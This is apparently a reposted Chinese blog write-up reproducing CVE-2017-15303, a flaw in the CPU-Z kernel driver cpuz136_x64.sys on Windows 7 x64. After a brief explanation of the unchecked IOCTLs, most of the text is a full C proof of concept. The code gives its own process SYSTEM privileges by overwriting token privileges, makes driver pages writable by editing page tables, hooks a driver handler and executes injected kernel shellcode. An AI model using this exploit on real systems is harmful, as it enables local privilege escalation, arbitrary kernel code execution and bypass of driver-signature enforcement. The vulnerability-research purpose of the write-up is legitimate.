CPU-Z 驱动,权限提升+任意代码执行(CVE-2017-15303)复现

 

漏洞描述

在1.43之前的CPUID CPU-Z中,存在任意内存写入操作,直接导致特权提升,因为在本地计算机上运行的任何程序(在CPU-Z运行时)都可以向内核模式驱动程序发出ioctl 0x9C402430调用(例如,版本1.41的cpuz141_x64.sys)。实际上在复现过程中发现配合ioctl 0x9C402420 ,不仅可以特权提升,还可以任意内核代码执行,可以修改系统所有重要数据结构,绕过Windows的强制驱动签名,严重影响系统安全性。

漏洞形成

复现环境为win 7 x64

本次复现在cpu-z_1.63-64中的cpuz136_x64.sys驱动上进行。

找到IRP分发函数,同IRP_MJ_CREATE与IRP_MJ_CLOSE一个函数,且没有对调用者的权限进行检查,没有对参数进行任何合法性校验

 

在0x9C402420 中存在任意物理地址写入任意虚拟地址

 

在0x9C402430 中存在向任意物理地址中写入4字节自定义数据

 

结合0x9C402430 向一个安全的物理地址空间写入数据,随后调用0x9C402420 将数据写入到内核地址的任意处完成任意内核地址读写。

Hook 0x9C402438作为激活点,随后调用0x9C402438进行任意代码执行

1)随后通过向当前进程或者其他进程的token对象权限值写入系统权限值完成提权。

2)可通过手工修改内存页映射规则使得CPU-Z的驱动内存空间可写,随后写入shellcode完成执行任意内核代码。

漏洞复现

复现采用提权并向内核写入<读取cr0 寄存器的shellcode>作为验证。

 

 

POC

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

#define DEV_NAME_CPU _T("\\\\.\\cpuz136")

#define IOCTL_READ_WRITE_TO_VIRTUAL 0x9C402400+0x20
#define IOCTL_WRITE_PHYSICAL 0x9C402400+0x30
#define IOCTL_EXECUTE_CODE 0x9C402400+0x38

#pragma pack(push)
#pragma pack(1)
typedef struct _READ_WRITE_INFO {
	UINT32 HighPhys; 
	UINT32 LowPhys;
	UINT32 Size;
	UINT32 HighOutVirtual;
	UINT32 LowOutVirtual;
}READ_WRITE_INFO, *PREAD_WRITE_INFO;

typedef struct _WRITE_PHY_INFO {
	UINT32 HighPhys;
	UINT32 LowPhys;
	UINT32 Data;
}WRITE_PHY_INFO, * PWRITE_PHY_INFO;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY
{
	BYTE Unused[0x14];
	PVOID Base;
	ULONG Size;
	ULONG Flags;
	USHORT Index;
	USHORT NameLength;
	USHORT LoadCount;
	USHORT ModuleNameOffset;
	char ImageName[252];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG Count;
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _PAG {
	union {
		struct {
			UINT64 IsEnable : 1;
			UINT64 IsWrite : 1;
			UINT64 Unused : 4;
			UINT64 SupperPage : 1;
			UINT64 Unused2 : 5;
			UINT64 Base : 52;
		};
		UINT64 Value;
	};
}PAG, * PPAG;

typedef struct _CALL_RAX{
	BYTE MovCode[2];
	UINT64 Address;
	BYTE CallCode[2];
	BYTE Nop[9];
}CALL_RAX, *PCALL_RAX;
#pragma pack(pop)

CALL_RAX CallCode;

/*
* 0F2000                   | mov rax,cr0                                               |
* 48:8906                  | mov qword ptr ds:[rsi],rax                                |
* 49:C74424 38 08000000    | mov qword ptr ds:[r12+38],8                               |
* 49:C74424 30 00000000    | mov qword ptr ds:[r12+30],0                               |
* C3                       | ret                                                       |
*/

BYTE ShellCode[] = { 0x0F,0x20,0x00,0x48,0x89,0x06,0x49,0xC7,0x44,0x24,0x38,0x08,0x00,0x00,0x00,0x49,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC3 };

HANDLE g_hFile;
BOOLEAN ReadPhysical(UINT64 PhysicalAddress, PVOID Buffer, DWORD dwSize);
BOOLEAN WriteToVirtualMemory(UINT64 VirtualAddress, PBYTE Data, UINT64 Size);
BOOLEAN ChangeMemoryProtectToWriteNoBigPage(UINT64 VirtualAddress);
UINT64 GetDriverLoadedAddress(LPSTR DriverName);
BOOLEAN AdjustProcessToken(DWORD Pid);
BOOLEAN ExecuteCode();
int main()
{
	CallCode.MovCode[0] = 0x48;
	CallCode.MovCode[1] = 0xB8;
	CallCode.CallCode[0] = 0xFF;
	CallCode.CallCode[1] = 0xD0;
	memset(CallCode.Nop, 0x90, 9);

	system("whoami /priv");
	g_hFile = CreateFile(DEV_NAME_CPU, FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_DEVICE, NULL);
	if (g_hFile == INVALID_HANDLE_VALUE)
	{
		printf("打开设备失败%x\n", GetLastError());
		return 0;
	}
	printf("[+]打开设备对象\n");
	DWORD ProcessId = GetCurrentProcessId();
	printf("[*]尝试提升进程 PID:%d 的权限为系统权限\n", ProcessId);
	if (!AdjustProcessToken(ProcessId))
	{
		printf("[-]提升权限失败,可能的错误:%d\n", GetLastError());
		return 0;
	}
	printf("[+]提升成功!\n");
	
	printf("--- 当前进程权限 ---\n");
	system("whoami /priv");
	if (!ExecuteCode())
		printf("[-]执行内核代码失败!\n");
	system("pause");
	CloseHandle(g_hFile);
	return 0;
}

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
	USHORT UniqueProcessId;
	USHORT CreatorBackTraceIndex;
	UCHAR ObjectTypeIndex;
	UCHAR HandleAttributes;
	USHORT HandleValue;
	PVOID Object;
	ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

BOOLEAN AdjustProcessToken(DWORD Pid)
{
	PSYSTEM_HANDLE_INFORMATION HandleInfo = NULL;
	ULONG NeedSize = 0;

	HANDLE hProcess;
	HANDLE hToken = NULL;
	PUBLIC_OBJECT_TYPE_INFORMATION ObjectTypeInfo;
	
	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, Pid);

	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
		return FALSE;
	
	CloseHandle(hProcess);
	PVOID ObjectPtr = NULL;
	do {
		NtQuerySystemInformation(16, &ObjectTypeInfo, sizeof(ObjectTypeInfo), &NeedSize);
		if (!NeedSize)
			break;

		NeedSize += 0x1000;
		HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(NeedSize);
		if (!HandleInfo)
			break;

		if (!NT_SUCCESS(NtQuerySystemInformation(16, HandleInfo, NeedSize, &NeedSize)))
			break;
		
		for (ULONG Count = 0; Count < HandleInfo->NumberOfHandles; ++Count)
		{
			if (
				HandleInfo->Handles[Count].UniqueProcessId == Pid &&
				HandleInfo->Handles[Count].HandleValue == (USHORT)hToken
				)
			{
				ObjectPtr = HandleInfo->Handles[Count].Object;
				break;
			}
		}
	} while (FALSE);
	if(HandleInfo)
		free(HandleInfo);

	if (!ObjectPtr)
	{
		CloseHandle(hToken);
		return FALSE;
	}
	UINT64 Privilege[3] = { 0x0000000ff2ffffbc ,0x0000000ff2ffffbc ,0x0000000ff2ffffbc };
	printf("[+]TokenObject : %p\n", ObjectPtr);// Write 0000000f`f2ffffbc From PTOKEN+0x040 Len 0x18
	if (!WriteToVirtualMemory((UINT64)ObjectPtr + 0x040, (PBYTE)Privilege, sizeof(Privilege)))
	{
		CloseHandle(hToken);
		return FALSE;
	}
	CloseHandle(hToken);
	return TRUE;
}

BOOLEAN ReadPhysical(UINT64 PhysicalAddress, PVOID Buffer, DWORD dwSize)
{
	UINT64 OutData;
	DWORD ReturnedSize;
	READ_WRITE_INFO ReadWriteInfo;
	ReadWriteInfo.HighPhys = PhysicalAddress >> 32;
	ReadWriteInfo.LowPhys = PhysicalAddress & 0xffffffff;
	ReadWriteInfo.Size = dwSize;
	ReadWriteInfo.HighOutVirtual = ((UINT64)Buffer) >> 32;
	ReadWriteInfo.LowOutVirtual = ((UINT64)Buffer) & 0xffffffff;
	DeviceIoControl(g_hFile, IOCTL_READ_WRITE_TO_VIRTUAL, &ReadWriteInfo, sizeof(ReadWriteInfo), &OutData, 0x8, &ReturnedSize, NULL);
	return !!ReturnedSize;
}

VOID GetVirtualMap(UINT64 VirtualAddress, PUINT64 PML4T, PUINT64 PDPT, PUINT64 PDT, PUINT64 PT, PUINT64 Offset)
{
	*Offset = VirtualAddress & 0xfff;
	*PT = (VirtualAddress >> 12) & ((1 << 0x9) - 1);
	*PDT = (VirtualAddress >> 12 >> 9) & ((1 << 0x9) - 1);
	*PDPT = (VirtualAddress >> 12 >> 9 >> 9) & ((1 << 0x9) - 1);
	*PML4T = (VirtualAddress >> 12 >> 9 >> 9 >> 9) & ((1 << 0x9) - 1);
}

typedef LONG(__stdcall* LPFN_RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation);
BOOLEAN IsWindows10()
{
	RTL_OSVERSIONINFOW OsVersionInfo;
	HMODULE hNtdll = LoadLibrary(_T("ntdll.dll"));
	if (!hNtdll)
		return FALSE;

	LPFN_RtlGetVersion RtlGetVersion = (LPFN_RtlGetVersion)GetProcAddress(hNtdll, "RtlGetVersion");
	if (!RtlGetVersion)
		return FALSE;

	OsVersionInfo.dwOSVersionInfoSize = sizeof(OsVersionInfo);
	RtlGetVersion(&OsVersionInfo);
	FreeLibrary(hNtdll);
	return OsVersionInfo.dwMajorVersion == 10;
}
BOOLEAN ChangeMemoryProtectToWriteNoBigPage(UINT64 VirtualAddress)
{
	BYTE Buffer[0x1000];
	UINT64 PageTableAddr;
	UINT64 PML4T, PDPT, PDT, PT, Offset;

	if (IsWindows10())
		PageTableAddr = 0x1ad000;
	else
		PageTableAddr = 0x187000;

	GetVirtualMap(VirtualAddress, &PML4T, &PDPT, &PDT, &PT, &Offset);

	
	ReadPhysical(PageTableAddr, Buffer, 0x1000);
	PPAG Data = (PPAG)Buffer ;
	if (!Data[PML4T].IsEnable)
		return FALSE;

	ReadPhysical(Data[PML4T].Base << 12, Buffer, 0x1000);
	Data = (PPAG)Buffer;
	if (!Data[PDPT].IsEnable)
		return FALSE;
	

	ReadPhysical(Data[PDPT].Base << 12, Buffer, 0x1000);
	Data = (PPAG)Buffer;
	if (!Data[PDT].IsEnable)
		return FALSE;
	
	UINT64 PtAddress = (Data[PDT].Base << 12) + PT * 8;
	ReadPhysical(Data[PDT].Base << 12, Buffer, 0x1000);
	Data = (PPAG)Buffer;
	if (!Data[PT].IsEnable)
		return FALSE;

	Data[PT].IsWrite = TRUE;

	UINT64 OutData;
	DWORD ReturnedSize;
	WRITE_PHY_INFO WritePhyInfo;
	WritePhyInfo.HighPhys = PtAddress >> 32;
	WritePhyInfo.LowPhys = PtAddress & 0xffffffff;
	WritePhyInfo.Data = (UINT32)Data[PT].Value;
	DeviceIoControl(g_hFile, IOCTL_WRITE_PHYSICAL, &WritePhyInfo, sizeof(WritePhyInfo), &OutData, 0x8, &ReturnedSize, NULL);
	return !!ReturnedSize;
}

BOOLEAN WriteToVirtualMemory(UINT64 VirtualAddress, PBYTE Data, UINT64 Size)
{
	DWORD ReturnedSize = 0;
	UINT64 OutData;
	WRITE_PHY_INFO WritePhyInfo;
	READ_WRITE_INFO ReadWriteInfo;

	for (UINT64 i = 0; i < Size ; ++i)
	{
		WritePhyInfo.HighPhys = 0;
		WritePhyInfo.LowPhys = 0;
		WritePhyInfo.Data = ((PBYTE)Data)[i];
		DeviceIoControl(g_hFile, IOCTL_WRITE_PHYSICAL, &WritePhyInfo, sizeof(WritePhyInfo), &OutData, 0x8, &ReturnedSize, NULL);
		if (!ReturnedSize)
			return FALSE;

		ReadWriteInfo.HighPhys = 0;
		ReadWriteInfo.LowPhys = 0;
		ReadWriteInfo.Size = 1;
		ReadWriteInfo.HighOutVirtual = (VirtualAddress + i) >> 32;
		ReadWriteInfo.LowOutVirtual = (VirtualAddress + i) & 0xffffffff;
		DeviceIoControl(g_hFile, IOCTL_READ_WRITE_TO_VIRTUAL, &ReadWriteInfo, sizeof(ReadWriteInfo), &OutData, 0x8, &ReturnedSize, NULL);
		if (!ReturnedSize)
			return FALSE;
	}
	return TRUE;
}
UINT64 GetDriverLoadedAddress(LPSTR DriverName)
{
	ULONG NeedSize = 0;
	NtQuerySystemInformation(11, NULL, 0, &NeedSize);
	PSYSTEM_MODULE_INFORMATION FullModuleInfo = (PSYSTEM_MODULE_INFORMATION)malloc(NeedSize);
	if (!FullModuleInfo)
		return 0;

	if(!NT_SUCCESS(NtQuerySystemInformation(11, FullModuleInfo, NeedSize, &NeedSize)))
		return 0;

	for (DWORD Count = 0; Count < FullModuleInfo->Count; ++Count)
	{
		char* Name;
		Name = strrchr(FullModuleInfo->Module[Count].ImageName, '\\');
		if (!Name)
			Name = FullModuleInfo->Module[Count].ImageName;

		if (!_stricmp(Name + 1, DriverName))
		{
			UINT64 DrvAddr = (UINT64)FullModuleInfo->Module[Count].Base;
			free(FullModuleInfo);
			return DrvAddr;
		}
	}
	free(FullModuleInfo);
	return 0;
}
BOOLEAN ExecuteCode()
{
	UINT64 DrvAddr = GetDriverLoadedAddress("cpuz136_x64.sys");
	if (!DrvAddr)
	{
		printf("[-] 无法获得驱动内核地址!\n");
		return FALSE;
	}
	UINT64 DrvPocAddr = DrvAddr + 0x3536;
	UINT64 DrvHookAddr = DrvAddr + 0x25DE;
	UINT64 RetData;
	DWORD dwRetSize = 0;
	if (!ChangeMemoryProtectToWriteNoBigPage(DrvPocAddr) || !ChangeMemoryProtectToWriteNoBigPage(DrvHookAddr))
	{
		printf("[-] 无法修改所需的页面映射属性!\n");
		return FALSE;
	}

	printf("[+] 修改内存页面权限成功!\n");
	CallCode.Address = DrvPocAddr;
	if (!WriteToVirtualMemory(DrvHookAddr, (PBYTE)&CallCode, sizeof(CallCode)))
	{
		printf("[-] 写入Shellcode 失败!\n");
		return FALSE;
	}
	if (!WriteToVirtualMemory(DrvPocAddr, ShellCode, sizeof(ShellCode)))
	{
		printf("[-] 写入Shellcode 失败!\n");
		return FALSE;
	}
	printf("[+] 写入Shellcode 成功!\n");
	DeviceIoControl(g_hFile, IOCTL_EXECUTE_CODE, NULL, 0, &RetData, sizeof(RetData), &dwRetSize, NULL);
	if (!dwRetSize)
		return FALSE;

	printf("[+] 执行成功!返回值为%I64x\n", RetData);
	return TRUE;
}

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/111498312